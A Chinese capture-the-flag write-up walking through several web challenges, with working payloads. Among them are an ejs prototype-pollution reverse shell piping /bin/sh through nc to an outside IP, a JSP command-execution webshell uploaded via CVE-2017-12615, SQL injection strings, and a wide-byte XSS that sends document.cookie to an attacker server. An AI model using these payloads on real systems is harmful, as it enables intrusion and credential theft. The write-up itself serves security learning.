然后再{file.vip.__dict__}遍历一下vip
{'truevipcode':'JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy'}
获得真vip的vipcode值

?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/%26vipcode=JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy
扫根目录,得知flag在fl4g_1s_h3re_u_wi11_rua目录下但无法读取

于是拿一下源码,读到readfile.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
current_folder_file = [] 
class vipreadfile():
def __init__(self,readfile):
self.filename = readfile.GetFileName()
self.path = os.path.dirname(os.path.abspath(self.filename))
self.file = File(os.path.basename(os.path.abspath(self.filename)))
global current_folder_file
try:
current_folder_file = os.listdir(self.path)
except:
current_folder_file = current_folder_file

def __str__(self):
if 'fl4g' in self.path:
return 'nonono,this folder is a secret!!!'
else:
output = '''Welcome,dear vip! Here are what you want:\r\nThe file you read is:\r\n'''
filepath = (self.path + '/{vipfile}').format(vipfile=self.file)
output += filepath
output += '\r\n\r\nThe content is:\r\n'
try:
f = open(filepath,'r')
content = f.read()
f.close()
except:
content = 'can\'t read'
output += content
output += '\r\n\r\nOther files under the same folder:\r\n'
output += ' '.join(current_folder_file)
return output

可以看到这里filepath又用了一次格式字符串,注入的self.file为文件名,而过滤的是路径中的fl4g
要读取的路径是/fl4g_1s_h3re_u_wi11_rua/flagself.file的值就为flag,于是取self.file[0]得到f接在路径上,这样就能绕过fl4g的检查

于是payload:
?head=\&begin=%s%&url=http://127.0.0.1:8080/read/file=/{vipfile[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=JacnmgC5EQPDfYUTvON9iowsVe3210zWXlMZ6ISKFhtqbrjy
我觉得应该是这样,但看大佬的payload是{vipfile.file[0]},但vipfile不是本身就是文件名了吗?

还有一种方式是取读到全局变量current_folder_file
/{vipfile.__class__.__init__.__globals__[current_folder_file] [21]}/flag
由于路径错误出错,current_folder_file值依旧是扫根目录的文件名集。fl4g_1s_h3re_u_wi11_rua为第22个文件,于是就能读到/fl4g_1s_h3re_u_wi11_rua/flag

dooog

这题是模拟了一个kerberos认证,了解kerberos认证做起来会快一些
kerberos认证原理—讲的非常细致,易懂

这题的问题出在这里

1
2
3
if int(time.time()) - data['timestamp'] < 60:
if cmd not in ['whoami', 'ls']:
return 'cmd error'

这里限制timestamp未超时时,cmd只能为whoaminls。但却没有对超时进行判断,那只需要在超时后再发出请求即可执行命令

于是看整一个kerberos认证流程

1
2
3
4
5
6
7
8
def register():
if request.method == 'POST':
username = request.form.get('username')
master_key = request.form.get('master_key')
new_user = User(username=username, master_key=master_key)
db.session.add(new_user)
db.session.commit()
return str(new_user.id)

现先向KDC发送usernamemaster_key,KDC端会保存usernamemaster_key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def TGT_vender():
username = request.form.get('username')
authenticator = request.form.get('authenticator')
user = User.query.filter_by(username=username).first()
if user != None:
cryptor = AESCipher(user.master_key)
try:
data = json.loads(cryptor.decrypt(base64.b64decode(authenticator)))
if data['username'] == username:
if int(time.time()) - data['timestamp'] < 60:
session_key = genSession_key()
session_key_enc = base64.b64encode(cryptor.encrypt(session_key))
cryptor = AESCipher(app.config.get('SECRET_KEY'))
TGT = base64.b64encode(cryptor.encrypt(username + '|' + session_key + '|' + str(int(time.time()))))
return session_key_enc + '|' + TGT
except Exception:
return 'auth fail'
return "auth error"

KDC使用master_key解密发送过去的authenticator,并用username对客户端进行认证。然后使用master_key加密session_key,再用SECRET_KEY加密usernamesession_keytimestamp作为TGT,然后将TGTsession_key_enc发送回客户端。此时客户端可以用自己的master_key解密session_key_enc得到session_key,此后使用session_key来加密数据,TGT则作为认证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def Ticket_vender():
username = request.form.get('username')
authenticator = request.form.get('authenticator')
TGT = request.form.get('TGT')
cmd = request.form.get('cmd')
user = User.query.filter_by(username=username).first()
if user != None:
cryptor = AESCipher(app.config.get('SECRET_KEY'))
auth_data = cryptor.decrypt(base64.b64decode(TGT)).split('|')
cryptor = AESCipher(auth_data[1])
try:
data = json.loads(cryptor.decrypt(base64.b64decode(authenticator)))
if data['username'] == auth_data[0] == username:
if int(time.time()) - data['timestamp'] < 60:
if cmd not in ['whoami', 'ls']:
return 'cmd error'
session_key = genSession_key()
session_key_enc = base64.b64encode(cryptor.encrypt(session_key))
cryptor = AESCipher(auth_data[1])
client_message = base64.b64encode(cryptor.encrypt(session_key))
server = User.query.filter_by(username='cmd_server').first()
cryptor = AESCipher(server.master_key)
server_message = base64.b64encode(cryptor.encrypt(session_key + '|' + data['username'] + '|' + cmd))
return client_message + '|' + server_message
except Exception:
return ' fail'
return "auth error"

服务器端会接收usernameauthenticatorTGTcmd,然后用SECRET_KEY解密TGT得到usernamesession_keytimestamp,再用session_key解密authenticator,然后进行认证。最后将cmd发送到cmd_server执行

整个过程我们需要先获取本地生成的master_key,然后在访问KDC后获取session_key_encTGT,并使用master_key解密session_key_enc得到session_key。最后在authenticator中设置一个超时时间,再用session_key加密,然后带上其它数据发送给服务器端即可执行命令

nweb

这题主要考的是渗透
截注册接口的包,将type修改为110注册账号,登录即可进入flag.php
flag.php处的搜索框可以盲注,双写绕过selectfrom过滤,能d得到flag的大部分
然后再通过盲注拿下admin的账号密码admin whoamiadmin,登录admin.php(通过扫目录可以扫到)
登入后可以扫描数据库,于是rogue mysql server一波读flag.php源码得到flag剩余部分

GuessGame

/static/app.js给了源码

1
2
3
4
5
function log(userInfo) {
let logItem = { time: new Date().toString() };
merge(logItem, userInfo);
loginHistory.push(logItem);
}

先看到log()中使用了merge(),这里可以进行原型链污染,于是看哪里用到了log()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post("/", function(req, res) {
if (typeof req.body.user.username != "string") {
res.end("error");
} else {
if (config.forbidAdmin && req.body.user.username.includes("admin")) {
res.end("any admin user has been baned");
} else {
if (
req.body.user.username.toUpperCase() === adminName.toUpperCase()
)
//only log admin's activity
log(req.body.user);
res.end("ok");
}
}
});

/处找到,又是toUpperCase(),用ı进行绕过即可。接着找要污染的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
app.post("/verifyFlag", function(req, res) {
//let result = "Your match flag is here: ";
let result = "Emm~ I won't tell you what happened! ";

if (typeof req.body.q != "string") {
res.end("please input your guessing flag");
} else {
let regExp = req.body.q;
if (config.enableReg && noDos(regExp) && flag.match(regExp)) {
//res.end(flag);
//Stop your wishful thinking and go away!
}
if (req.query.q === flag) result += flag;
res.end(result);
}
});

看到/verifyFlag处,在判断config.enableRegnoDos(regExp)后对flag进行了正则匹配,虽然没回显但只有这个地方与flag有关。
于是找到config

1
2
3
4
var config = {
forbidAdmin: true
// "enableReg" : true
};

发现enableReg被注释了,那应该就是要污染这里了

于是
{"user":{"username": "admın666","__proto__": {"enableReg": true}}}
污染之后就能通过config.enableReg的判断

但这里就算有否匹配成功结果都是一样的,实际上这里的noDos()在提示我们使用ReDOS攻击
ReDOS初探
ReDOS攻击简单来说就是通过构造正则表达式,使其无法迅速处理导致延时甚至DOS

这题可以用这个表达式^(?=.{0}g)((.*)*)*!$来一位一位跑出结果

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
# coding: utf-8

import re
import time

s1 = time.time()
regex = re.compile('^(?=g)((.*)*)*!$')
str='g3tF1AaGEAzY'
regex.match(str)
s2=time.time()
print(str)
print(s2-s1)

本地测试延时大概是2s,再套一个就跑不出来了
^(?=g)((.*)*)*!$这样也可以

除了ReDOS,还可以直接利用ejs-rce,直接弹shell。由于这题使用的是alpine,不能直接bash弹shell,这里记一下V&N大佬们的payload
{"user":{"username":"admIn888","__proto__":{"enableReg":True,"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/fa;mkfifo /tmp/fa;cat /tmp/fa|/bin/sh -i 2>&1|nc 106.14.15.50 1234 > /tmp/fa ');var __tmp2"}}}

PHP-UAF

和GYCTF那个差不多,就是换了个脚本
phpinfo()可以看到版本的7.4.2,一堆disable_functions,JSON UAF使用不了
exploits/php7-backtrace-bypass/exploit.php
但同个仓库下有新版本的能用,当时没细看血亏,改个命令就能用
可惜了清华大佬还想我们调试

sqlcheckin

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
// ...
$pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);//设置查询数据返回的类型,这样不用每次都写fetchAll(PDO::FETCH_ASSOC)
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
// ....

标准的PDO预处理错误用法,真正的随便注
万能密码即可
username=admin'--+&password=

不过wp给出了一种挺有趣的绕过方式
username=admin'and(1-&password=)-'
生成的语句是
SELECT username from users where username='admin'and(1-' and password=')-''
通过单引包括的为字符串,int型减去字符型以开头的数字为准,这里就是1-0-0。于是最终的查询就是
SELECT username from users where username='admin'and(1)

nothardweb

分析源码,可以看到目标是要将username设置为admin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
session_start();
error_reporting(0);
include "user.php";
include "conn.php";
$IV = "********";// you cant know that;
if(!isset($_COOKIE['user']) || !isset($_COOKIE['hash'])){
if(!isset($_SESSION['key'])){
$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);
$_SESSION['iv'] = $IV;
}
$username = "guest";
$o = new User($username);
echo $o->show();
$ser_user = serialize($o);
$cipher = openssl_encrypt($ser_user, "des-cbc", $_SESSION['key'], 0, $_SESSION['iv']);
setcookie("user", base64_encode($cipher), time()+3600);
setcookie("hash", md5($ser_user), time() + 3600);
}
else{
$user = base64_decode($_COOKIE['user']);
$uid = openssl_decrypt($user, 'des-cbc', $_SESSION['key'], 0, $_SESSION['iv']);
if(md5($uid) !== $_COOKIE['hash']){
die("no hacker!");
}
$o = unserialize($uid);
echo $o->show();
if ($o->username === "admin"){
$_SESSION['name'] = 'admin';
include "hint.php";
}
}

这里是一个des-cbc加密,我们能够得到加密后的结果

1
2
3
4
5
6
7
8
9
10
11
<?php
class User{
public $username;
function __construct($username)
{
$this->username = $username;
}
function show(){
return "username: $this->username\n";
}
}

再通过user.php我们可以获得明文,由于没有给iv应该不是要CBC翻转,那就想办法去搞到key和iv了

$_SESSION['key'] = strval(mt_rand() & 0x5f5e0ff);

而key是通过mt_rand()与运算生成,之前在hgame也说过有除了爆破的方法去获得mt_rand()的种子
无需暴破还原mt_rand()种子
具体原理看链接,简而言之就是可以通过生成的随机数R0与R227,以及R0前生成的随机数个数,获得种子
脚本来源:mt_rand-reverse

测试一下

1
2
3
4
5
6
7
8
<?php
mt_srand(164632);
echo mt_rand();
for($i=1;$i<227;$i++){
mt_rand();
}
echo "<br>";
echo mt_rand();

结果:
21822616
1260657684

而题目给了用户的uid表相差也是227,而且提示我们是229名用户

uid可能是用户的key或者mt_seed()结果,都试一下就行了

这里除了这样,由于知道了明文和密文且iv不变,可以拿密文的第一段作为iv,然后去爆破密文第二段,解出为明文第二段则是key。然后再用key去解iv即可
还有一种做法是,由于没有检查SESSIONID是否存在,直接置为空,就没有key和iv,直接空加密即可

登录为admin后,hint.php中提示

1
2
I left a shell in 10.10.1.12/index.php 
try to get it!

而且可以看到hint.php的源码为

1
2
3
4
5
6
7
<?php
if(isset($_GET['cc'])){
$cc = $_GET['cc'];
eval(substr($cc, 0, 6));
}else{
highlight_file(__FILE__);
}

这里是一个小trick,这里可以传入

1
?cc=`$cc`;cmd

截取后为

1
`$cc`;

通过eval执行得到$cc的值,就能突破长度执行命令(但我本地并没测试成功,是环境的问题?)

之后wp上给的是用soap进行内网渗透,不过直接通过服务器shell用curl打过去把shell打回来不就行了?
打回shell会在根目录发现hint,又提示了另一台主机10.10.2.13

这里可以利用earthworm进行流量转发,让我们能直接访问10.10.2.13
ew-tunnel
自己公网的服务器上
./ew_for_linux -s rcsocks -l 12345 -e 1234
内网的跳板机上
./ew_for_linux -s rssocks -d vps_ip -e 1234
然后主机上SOCKS代理设置为vps_ip:12345就可以直接访问到内网的10.10.2.13
至于earthworm脚本去github上搜吧,怕被查水表

进去后是tomcat界面,是CVE-2017-12615的洞(好像又出了个2020的CVE)
CVE-2017-12615
可以通过PUT请求像服务器任意写文件
于是搞一个jsp的马,上传至/1.jsp/

1
2
3
4
5
6
7
8
9
10
11
12
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("<pre>");
}
%>

然后10.10.2.13/1.jsp?pwd=023&i=cmd来执行命令即可

easyweb

不知道原题干了啥,这里记录一下考点的东西

首先是java的SSRF

JAVA中可以使用netdoc协议,读取目录
netdoc:///var/www/html/这样就可以读取到网站根目录的文件

第二个是高版本jdk攻击rmi registry
baby_java也说到了,高版本的jdk由于trustURLCodebase限制无法加载远程库。这里利用Commons Collections 3.1的漏洞(实际上baby_java也是,不过之前没注意到),可以绕过这个限制去加载远程库

具体分析看这里
Java入坑:Apache-Commons-Collections-3.1 反序列化漏洞分析
不同版本的jdk最后的部分也不一样,用ysoserial生成exp即可

happyvacation

这题没拿到源码,没想到XSS的题也是搞源码,有个.git泄露

CSP限制了只能为同源脚本,但允许内联js,同时交互处有上次文件的地方(不过我好像没看到),绕过方式就很明显了,通过上传脚本引入即可

1
2
3
function __construct(){ 
$this->black_list = ['ph', 'ht', 'sh', 'pe', 'j'];
}

虽然上传做了一些过滤,但通过script并不要求要js后缀,随便一个后缀都可以

绕CSP是个小问题,难搞的是message处的过滤

1
2
3
4
5
6
7
8
9
if(isset($user)){
if(isset($_GET['message'])){
$user->leaveMessage($_GET['message']);
}
$user->showMessage();
if($user->url->flag){
echo $user->asker->mes();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class User{ 
function leaveMessage($message){
$this->info->leaveMessage($message);
}

function showMessage(){
echo "<body><script> var a = '{$this->info->message}';document.write(a); </script></body>";
}

}

class Info{
function leaveMessage($message){
if(preg_match("/cookie|<|>|win/i", $message, $ma)){
$this->message = "?"; var_dump($ma);
}else{
$this->message = addslashes($message);
}
}
}

使用了addslashes()message进行了处理,这样就没办法直接用’或”绕出了。这里是第一次知道可以用宽字节来绕过,只要在头部设置Content-Type: text/html; charset=GBK;,就可以和sql一样%df绕过

于是寻找一下可以利用的地方

1
2
3
4
5
6
7
8
function go(){ 
if(isset($this->pre) and isset($this->after) and isset($this->location)) {
$dest = $this->pre . $this->location . $this->after;
header($dest);
}else{
header("Location: index.php");
}
}

UrlHelper类中go()可以控制header(),但pre的值被定为Location:要想办法修改

1
2
3
function __construct(){
$this->pre = "Location:";
}

quit.php处有个answer参数

1
2
3
4
5
6
7
8
if(isset($_GET['answer'])){
$answer = $_GET['answer'];
$user->asker->answer($user, $answer);
if($user->url->referer != $user->url->page){
$user->url->location = $user->url->referer;
}
$user->url->flag = True;
}

跟进到answer()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Asker{ 
function answer($user, $answer){
$this->user = clone $user;
if($this->right == $answer){
$this->message = "clever man!";
return 1;
}else{
if(preg_match("/f|sy|(|)| |;|and|or|&|\||\^|\$|#|\/|\*/", $answer)){
eval("\$this->".$answer." = false;");
$this->updateList();
}else{
$this->message = "what are you doing bro?";
}
$this->times ++;
return 0;
}
}
}

这里使用了clone关键字复制了一份user,当回答错误时通过eval()将选项去除,问题就出在这里

php中clone这个关键字的有一个类似于原型链安全问题,只不过原型链是由上影响下,而clone的问题是由下影响上
通过clone这个关键字可以将一个变量直接赋值给另一个变量,某些情况下可以提高代码效率。但当原变量为一个类,而其中一个属性又为另一个类。当克隆变量修改了另一个类中的属性值时,就会导致原变量中,另一个类中的属性值也改变。简单的写一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php 
class A{

function __construct(){
$this->a = new B();
}

}

class B{

function __construct(){
$this->b = 222;
}

}

$a = new A();
$b = clone $a;

echo $a->a->b;
$b->a->b = 999;
echo $b->a->b;
echo $a->a->b;

这里的输出是222999999,变量a中属性a中属性b的值随着变量b的修改也改变了

回到题目上,pre是user类的url属性指向的类中的一个属性。于是就可以通过修改$this->user->url->pre的值,将$user->url->pre的值修改。将answer设为user->url->pre即可,这样就$user->url->pre = False,而False连接任意字符串都为其本身

然后就是控制location
通过传入referer修改一次referer,再传入referer就可以将值赋给location

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(isset($_GET['answer'])){
$answer = $_GET['answer'];
$user->asker->answer($user, $answer);
if($user->url->referer != $user->url->page){
$user->url->location = $user->url->referer;
}
$user->url->flag = True;
}
if(isset($_GET['referer'])){
$referer = $_GET['referer'];
if($referer != $user->url->page){
$user->url->referer = $referer;
}
}

于是先修改一波referer
quit.php?referer=xxx
然后污染header
quit.php?referer=Content-Type:text/html;charset=GBK;Referer:index&answer=user->url->pre

污染后就可以进行宽字节XSS,先上传一个脚本
window.open('http://vps:port/?'+document.cookie);
message中其它的过滤用String.fromCharCode()绕过,script引入脚本
index.php?message=%df%27;var b = String.fromCharCode(115,99,114,105,112,116);var c = String.fromCharCode(49,46,119,97,118,101);x=document.createElement(b);x.src=c;document.body.appendChild(x);//
vps接到cookie后登上管理员账号,访问teacher.php算出md5提交即可得到flag

还有另一种简单的方法就是直接覆盖掉black_list,就可以直接上传shell了